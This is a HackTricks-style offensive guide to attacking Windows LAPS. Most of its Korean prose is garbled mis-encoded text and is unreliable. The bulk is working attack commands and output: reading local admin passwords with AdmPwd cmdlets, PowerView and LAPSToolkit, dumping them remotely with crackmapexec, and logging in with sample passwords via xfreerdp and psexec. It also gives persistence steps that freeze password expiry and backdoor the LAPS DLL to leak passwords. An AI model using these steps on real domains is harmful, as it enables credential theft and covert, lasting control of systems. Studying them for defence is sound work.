LAPS

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

Basic Information

Local Administrator Password Solution (LAPS)๋Š” ๊ณ ์œ ํ•˜๊ณ  ๋ฌด์ž‘์œ„์ด๋ฉฐ ์ž์ฃผ ๋ณ€๊ฒฝ๋˜๋Š” ๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋„๋ฉ”์ธ์— ๊ฐ€์ž…๋œ ์ปดํ“จํ„ฐ์— ์ ์šฉํ•˜๋Š” ์‹œ์Šคํ…œ์„ ๊ด€๋ฆฌํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋˜๋Š” ๋„๊ตฌ์ž…๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” Active Directory ๋‚ด์— ์•ˆ์ „ํ•˜๊ฒŒ ์ €์žฅ๋˜๋ฉฐ, Access Control Lists (ACLs)๋ฅผ ํ†ตํ•ด ๊ถŒํ•œ์ด ๋ถ€์—ฌ๋œ ์‚ฌ์šฉ์ž๋งŒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํด๋ผ์ด์–ธํŠธ์—์„œ ์„œ๋ฒ„๋กœ์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ์ „์†ก ๋ณด์•ˆ์€ Kerberos version 5์™€ **Advanced Encryption Standard (AES)**์˜ ์‚ฌ์šฉ์œผ๋กœ ๋ณด์žฅ๋ฉ๋‹ˆ๋‹ค.

๋„๋ฉ”์ธ์˜ ์ปดํ“จํ„ฐ ๊ฐ์ฒด์—์„œ LAPS์˜ ๊ตฌํ˜„์€ ๋‘ ๊ฐœ์˜ ์ƒˆ๋กœ์šด ์†์„ฑ์ธ **ms-mcs-AdmPwd**์™€ **ms-mcs-AdmPwdExpirationTime**์˜ ์ถ”๊ฐ€๋กœ ์ด์–ด์ง‘๋‹ˆ๋‹ค. ์ด ์†์„ฑ๋“ค์€ ๊ฐ๊ฐ ์ผ๋ฐ˜ ํ…์ŠคํŠธ ๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ์™€ ๋งŒ๋ฃŒ ์‹œ๊ฐ„์„ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค.

Check if activated

reg query "HKLM\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled

dir "C:\Program Files\LAPS\CSE"
# Check if that folder exists and contains AdmPwd.dll

# Find GPOs that have "LAPS" or some other descriptive term in the name
Get-DomainGPO | ? { $_.DisplayName -like "*laps*" } | select DisplayName, Name, GPCFileSysPath | fl

# Search computer objects where the ms-Mcs-AdmPwdExpirationTime property is not null (any Domain User can read this property)
Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs-admpwdexpirationtime" -ne $null } | select DnsHostname

LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ ์ ‘๊ทผ

๋‹น์‹ ์€ ์›์‹œ LAPS ์ •์ฑ…์„ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค \\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol ๊ทธ๋ฆฌ๊ณ  **Parse-PolFile**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ GPRegistryPolicyParser ํŒจํ‚ค์ง€์—์„œ ์ด ํŒŒ์ผ์„ ์‚ฌ๋žŒ์ด ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ํ˜•์‹์œผ๋กœ ๋ณ€ํ™˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ฒŒ๋‹ค๊ฐ€, ๋„ค์ดํ‹ฐ๋ธŒ LAPS PowerShell cmdlets๋Š” ์šฐ๋ฆฌ๊ฐ€ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š” ๋จธ์‹ ์— ์„ค์น˜๋˜์–ด ์žˆ๋‹ค๋ฉด ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

Get-Command *AdmPwd*

CommandType     Name                                               Version    Source
-----------     ----                                               -------    ------
Cmdlet          Find-AdmPwdExtendedRights                          5.0.0.0    AdmPwd.PS
Cmdlet          Get-AdmPwdPassword                                 5.0.0.0    AdmPwd.PS
Cmdlet          Reset-AdmPwdPassword                               5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdAuditing                                 5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdComputerSelfPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdReadPasswordPermission                   5.0.0.0    AdmPwd.PS
Cmdlet          Set-AdmPwdResetPasswordPermission                  5.0.0.0    AdmPwd.PS
Cmdlet          Update-AdmPwdADSchema                              5.0.0.0    AdmPwd.PS

# List who can read LAPS password of the given OU
Find-AdmPwdExtendedRights -Identity Workstations | fl

# Read the password
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

PowerView๋Š” ๋ˆ„๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š”์ง€์™€ ๊ทธ๊ฒƒ์„ ์ฝ๋Š”์ง€ ์•Œ์•„๋‚ด๋Š” ๋ฐ์—๋„ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Find the principals that have ReadPropery on ms-Mcs-AdmPwd
Get-AdmPwdPassword -ComputerName wkstn-2 | fl

# Read the password
Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd

LAPSToolkit

The LAPSToolkit๋Š” ์—ฌ๋Ÿฌ ๊ธฐ๋Šฅ์„ ํ†ตํ•ด LAPS์˜ ์—ด๊ฑฐ๋ฅผ ์šฉ์ดํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.
ํ•˜๋‚˜์˜ ๊ธฐ๋Šฅ์€ **LAPS๊ฐ€ ํ™œ์„ฑํ™”๋œ ๋ชจ๋“  ์ปดํ“จํ„ฐ์— ๋Œ€ํ•œ ExtendedRights**๋ฅผ ํŒŒ์‹ฑํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ด๋Š” LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ๋„๋ก ํŠน๋ณ„ํžˆ ์œ„์ž„๋œ ๊ทธ๋ฃน์„ ๋ณด์—ฌ์ฃผ๋ฉฐ, ์ด๋Ÿฌํ•œ ๊ทธ๋ฃน์€ ์ข…์ข… ๋ณดํ˜ธ๋œ ๊ทธ๋ฃน์˜ ์‚ฌ์šฉ์ž์ž…๋‹ˆ๋‹ค.
๋„๋ฉ”์ธ์— ์ปดํ“จํ„ฐ๋ฅผ ๊ฐ€์ž…์‹œํ‚จ ๊ณ„์ •์€ ํ•ด๋‹น ํ˜ธ์ŠคํŠธ์— ๋Œ€ํ•ด All Extended Rights๋ฅผ ๋ฐ›์œผ๋ฉฐ, ์ด ๊ถŒํ•œ์€ ๊ณ„์ •์ด ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋Šฅ๋ ฅ์„ ๋ถ€์—ฌํ•ฉ๋‹ˆ๋‹ค. ์—ด๊ฑฐ๋ฅผ ํ†ตํ•ด ํ˜ธ์ŠคํŠธ์—์„œ LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์‚ฌ์šฉ์ž ๊ณ„์ •์„ ๋ณด์—ฌ์ค„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋Š” LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ํŠน์ • AD ์‚ฌ์šฉ์ž๋ฅผ ํƒ€๊ฒŸํŒ…ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Get groups that can read passwords
Find-LAPSDelegatedGroups

OrgUnit                                           Delegated Groups
-------                                           ----------------
OU=Servers,DC=DOMAIN_NAME,DC=LOCAL                DOMAIN_NAME\Domain Admins
OU=Workstations,DC=DOMAIN_NAME,DC=LOCAL           DOMAIN_NAME\LAPS Admin

# Checks the rights on each computer with LAPS enabled for any groups
# with read access and users with "All Extended Rights"
Find-AdmPwdExtendedRights
ComputerName                Identity                    Reason
------------                --------                    ------
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\Domain Admins   Delegated
MSQL01.DOMAIN_NAME.LOCAL    DOMAIN_NAME\LAPS Admins     Delegated

# Get computers with LAPS enabled, expirations time and the password (if you have access)
Get-LAPSComputers
ComputerName                Password       Expiration
------------                --------       ----------
DC01.DOMAIN_NAME.LOCAL      j&gR+A(s976Rf% 12/10/2022 13:24:41

Dumping LAPS Passwords With Crackmapexec

powershell์— ์ ‘๊ทผํ•  ์ˆ˜ ์—†๋Š” ๊ฒฝ์šฐ LDAP๋ฅผ ํ†ตํ•ด ์ด ๊ถŒํ•œ์„ ์›๊ฒฉ์œผ๋กœ ์•…์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps

์ด๊ฒƒ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์ฝ์„ ์ˆ˜ ์žˆ๋Š” ๋ชจ๋“  ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋คํ”„ํ•˜์—ฌ ๋‹ค๋ฅธ ์‚ฌ์šฉ์ž๋กœ ๋” ๋‚˜์€ ๋ฐœํŒ์„ ๋งˆ๋ จํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

** LAPS ๋น„๋ฐ€๋ฒˆํ˜ธ ์‚ฌ์šฉ **

xfreerdp /v:192.168.1.1:3389  /u:Administrator
Password: 2Z@Ae)7!{9#Cq

python psexec.py Administrator@web.example.com
Password: 2Z@Ae)7!{9#Cq

LAPS ์ง€์†์„ฑ

๋งŒ๋ฃŒ ๋‚ ์งœ

๊ด€๋ฆฌ์ž๊ฐ€ ๋˜๋ฉด, ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์–ป๊ณ  ๋น„๋ฐ€๋ฒˆํ˜ธ ์—…๋ฐ์ดํŠธ๋ฅผ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ๋งŒ๋ฃŒ ๋‚ ์งœ๋ฅผ ๋ฏธ๋ž˜๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

# Get expiration time
Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime

# Change expiration time
## It's needed SYSTEM on the computer
Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"}

Warning

๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” admin์ด Reset-AdmPwdPassword cmdlet์„ ์‚ฌ์šฉํ•˜๊ฑฐ๋‚˜ LAPS GPO์—์„œ ์ •์ฑ…์— ์˜ํ•ด ์š”๊ตฌ๋˜๋Š” ๊ฒƒ๋ณด๋‹ค ๊ธด ๋น„๋ฐ€๋ฒˆํ˜ธ ๋งŒ๋ฃŒ ์‹œ๊ฐ„์„ ํ—ˆ์šฉํ•˜์ง€ ์•Š์Œ์ด ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ ์—ฌ์ „ํžˆ ์žฌ์„ค์ •๋ฉ๋‹ˆ๋‹ค.

๋ฐฑ๋„์–ด

LAPS์˜ ์›๋ณธ ์†Œ์Šค ์ฝ”๋“œ๋Š” ์—ฌ๊ธฐ์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ฝ”๋“œ์— ๋ฐฑ๋„์–ด๋ฅผ ๋„ฃ๋Š” ๊ฒƒ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค (์˜ˆ: Main/AdmPwd.PS/Main.cs์˜ Get-AdmPwdPassword ๋ฉ”์„œ๋“œ ๋‚ด๋ถ€) ์ด ๋ฐฑ๋„์–ด๋Š” ์–ด๋–ค ์‹์œผ๋กœ๋“  ์ƒˆ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์œ ์ถœํ•˜๊ฑฐ๋‚˜ ์–ด๋”˜๊ฐ€์— ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ทธ๋Ÿฐ ๋‹ค์Œ, ์ƒˆ๋กœ์šด AdmPwd.PS.dll์„ ์ปดํŒŒ์ผํ•˜๊ณ  C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll์— ์—…๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค (๊ทธ๋ฆฌ๊ณ  ์ˆ˜์ • ์‹œ๊ฐ„์„ ๋ณ€๊ฒฝํ•ฉ๋‹ˆ๋‹ค).

์ฐธ์กฐ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ